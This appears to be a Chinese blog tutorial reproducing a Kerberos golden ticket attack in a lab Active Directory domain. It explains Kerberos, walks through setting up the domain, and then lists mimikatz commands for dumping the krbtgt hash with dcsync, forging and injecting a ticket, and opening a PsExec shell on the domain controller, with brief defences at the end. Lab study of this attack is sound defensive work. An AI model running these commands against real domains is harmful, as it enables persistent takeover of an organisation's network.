内网横向——域渗透之黄金票据复现

本文详细介绍了Kerberos协议的工作原理,涉及Client、Server和KDC的角色,展示了黄金票据的制作过程及其在权限维持中的应用,同时提到了防护措施。通过Mimikatz工具的使用,探讨了如何获取和利用黄金票据进行攻击以及相应的防御策略。

kerberos 协议

Kerberos是一种由MIT(麻省理工大学)提出的一种网络身份验证协议。它旨在通过使用密钥加密技术为客户端/服务器应用程序提供强身份验证。

在Kerberos协议中主要是有三个角色的存在:

  1. 访问服务的Client(以下表述为Client 或者用户)
  2. 提供服务的Server(以下表述为服务)
  3. KDC(Key Distribution Center)密钥分发中心 kerberos 测试工具介绍

其中KDC服务默认会安装在一个域的域控中,而Client和Server为域内的用户或者是服务,如HTTP服务,SQL服务。在Kerberos中Client是否有权限访问Server端的服务由KDC发放的票据来决定。就是说Kerberos通过KDC为客户端和服务器之间的安全通信建立了一个可信任的第三方,客户端通过KDC颁发的票据来获得对服务器资源的访问权限,从而实现了安全的身份验证和授权机制。

kerberos简化认证图

  1. AS_REQ: Client向KDC发起AS_REQ,请求凭据是Client hash加密的时间戳
  2. AS_REP: KDC使用Client hash进行解密,如果结果正确就返回用krbtgt hash加密的TGT票据,TGT里面包含PAC,PAC包含Client的sid,Client所在的组。
  3. TGS_REQ: Client凭借TGT票据向KDC发起针对特定服务的TGS_REQ请求
  4. TGS_REP: KDC使用krbtgt hash进行解密,如果结果正确,就返回用服务hash 加密的TGS票据(这一步不管用户有没有访问服务的权限,只要TGT正确,就返回TGS票据)
  5. AP_REQ: Client拿着TGS票据去请求服务
  6. AP_REP: 服务使用自己的hash解密TGS票据。如果解密正确,就拿着PAC去KDC那边问Client有没有访问权限,域控解密PAC。获取Client的sid,以及所在的组,再根据该服务的ACL,判断Client是否有访问服务的权限。

黄金票据的原理和条件

原理

黄金票据就是伪造krbtgt用户的TGT票据,krbtgt用户是域控中用来管理发放票据的用户,拥有了该用户的权限,就可以伪造系统中的任意用户。

在Kerberos认证中,Client通过AS(身份认证服务)认证后,AS会给Client一个Logon Session Key和TGT,而Logon Session Key并不会保存在KDC中,krbtgt的NTLM Hash又是固定的,所以只要得到krbtgt的NTLM Hash,就可以伪造TGT和Logon Session Key来进入下一步Client与TGS的交互。而已有了金票后,就跳过AS验证,不用验证账户和密码,所以也不担心域管密码修改。

拿到域控(没错就是拿到域控QAQ),适合做权限维持
有krbtgt用户的hash值(aeshash ntlmhash等都可以,后面指定一下算法就行了)

在使用黄金票据(Golden Ticket)攻击时,需要以下信息:

  1. 域名
  2. 域的SID 值
  3. 域的KRBTGT账户NTLM密码哈希
  4. 伪造用户名

kerberos请求小结:

  • Client 上的用户请求KDC上的AS服务TGT
  • Client 使用TGT请求KDC上的TGS得到ST(TGS ticket)
  • Client使用ST(TGS Ticket)访问Server

黄金票据作用

黄金票据常用于权限维持
当我们获得域控的控制权限后,有可能获取域内所有用户的hash,和krbtgt的hash。这时,由于一些原因导致我们失去对目标的控制权,但是我们还留有一个普通用户的权限,并且krbtgt的密码没有更改,此时我们可以利用krbtgt用户的ntlm hash制作黄金票据伪造tgt,重新获取域控的管理权限。

实验工具与环境

服务端:Windows Server 2003 Enterprise x64

客户端:Windows 7 旗舰版

工具:mimikatz

搭建域控环境:

Windows Server 2003 配置域服务器

点击开始->管理工具->配置您的服务器向导

下一步一直到

选择自定义配置

下一步选择域控服务器

下一步

下一步,选择“新域的域控制器”,下一步选择“在新林中的域”

自己起个名,ytdd.com

域NetBIOS名

下一步,默认

下一步,选择第二条

下一步

下一步设置还原密码“ytdd”,下一步

等待

遇到这个问题:

请将标为'WindowsServer2003nterprisex64 Edition CD-ROM’的光盘插入 CD-ROM 驱动器 ①:),然后单击“确定”

只需要在虚拟机设置里面使用原来的iso文件就行了

提示我们配置静态IP

配置静态的IP地址,先查看IP地址

写入

等待

配置完成后重启服务器

完成

点击开始->管理工具->管理您的服务器,点击管理Active Directory中的用户和计算机

找到ytdd.com下的Users目录,右键选择创建用户

点击下一步设置密码,也与win7虚拟机用户的密码一致(不确定这里究竟需不需要一致),选择密码永不过期;password(Ytdd233..)

可以看到新建的用户

设置完成后,打开cmd,输入gpupdate刷新策略;

至此设置完毕。

Windows 7 服务器配置

点击网络配置静态IP

右键计算机->属性,在计算机名称、域和工作组设置一栏中找到更改设置并点击;

点击更改,在弹出的窗口中填入信息。将计算机名命名为caixukun,修改隶属于ytdd.com域,点击确定,弹出窗口,需要输入域中的用户和密码。之前在域中也创建了名为caixukun的用户,输入用户名和密码,点击确定;

提示成功加入域

提示我们重启,立即重启

用户界面已经变了

查看域

黄金票据攻击复现

基本信息获取(SID,所处域)
这里直接在域控制权上进行操作
whoami /user    获取域的sid值(去掉最后的-500,500表示为administrator用户)
net config workstation  查看所处域

1、获取域名

whoami
net time /domain
ipconfig /all

3、获取域的KRBTGT账户NTLM密码哈希或者aes-256值

用mimikatz

lsadump::dcsync /domain:ytdd.com /user:krbtgt /csv

客户端打开mimikatz,首先清除之前的票据,依次输入指令

kerberos::purge

kerberos::list

dir \\ytdd-bca237.ytdd.com\c$

进行黄金票据的制作。指令格式为:

kerberos::golden /user:普通域用户 /domain:域 /sid:域的SID /krbtgt:krbtgt的NTLM_Hash /ticket:名字.kirbi

则生成黄金票据的指令为:

kerberos:golden /user:caixukun /domain:ytdd.com /sid:S-1-5-21-1206714925-2034148990-4264453829 /krbtgt: /ticket:ytdd.kirbi

参考:

3. mimikatz

  • kerberos::golden

mimikatz的kerberos::golden模块可以用于制作黄金票据,票据格式是.kirbi

首先获取krbtgt的hash

image-20191012175213102

获取域的sid

image-20191104153401060

制作黄金票据

重新搭建了环境用,参考网上

win sever 2012 win7 win11 工具mimikatz做了一遍

制作黄金票据的4个条件:

  • 域名称
net time /domain

  • 域的SID值
whoami /user

  • 域的KRBTGT账户密码HASH
    我们使用mimikatz提取:
    mimikatz "lsadump::dcsync /domain:yuaneu.ro /user:krbtgt"
     

  • 伪造用户名,可以是任意的

使用mimikatz生成黄金票据

mimikatz "kerberos::golden /domain:{域名称} /sid:{域的SID值} /krbtgt:{域的KRBTGT账户密码HASH} /user:{伪造用户名,可以是任意的} /ticket:{生成的票据文件}"

mimikatz "kerberos::golden /domain:yuaneu.ro /sid:S-1-5-21-1510176710-2219810952-449743168 /krbtgt:b71b4e4a428484726fea3c7d923c9715 /user:test6366 /ticket:golden.kirbi"

然后会在当前目录下生成票据文件golden.kirbi,一般默认黄金票据的有效期是10年

黄金票据的利用

首先我们先确实没有权限访问dc

 

首先我们将生成的票据复制到域成员机中,然后使用mimikatz将其导入到内存中
kerberos::purge 首先将原来缓存的票据全部删除

kerberos::ptt golden.kirbi 将黄金票据导入到内存中(Pass The Ticket)

然后我们可以通过mimikatz中的kerberos::list,或者klist查看以及缓存的票据
 

然后再次测试成功访问域控

当然也可以通过psexec.exe获取shell
PsExec.exe \\dc.yuaneu.ro cmd.exe

防护对策

  1. 限制域管理员登录到除域控制器和少数管理服务器以外的任何其他计算机,将所有其他权限委派 给自定义管理员组。降低攻击者访问域控制器的Active Directory的ntds.dit文件的可能。 
  2. 定期更改krbtgt账户的密码。

建议参考:前言 | windows protocol

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值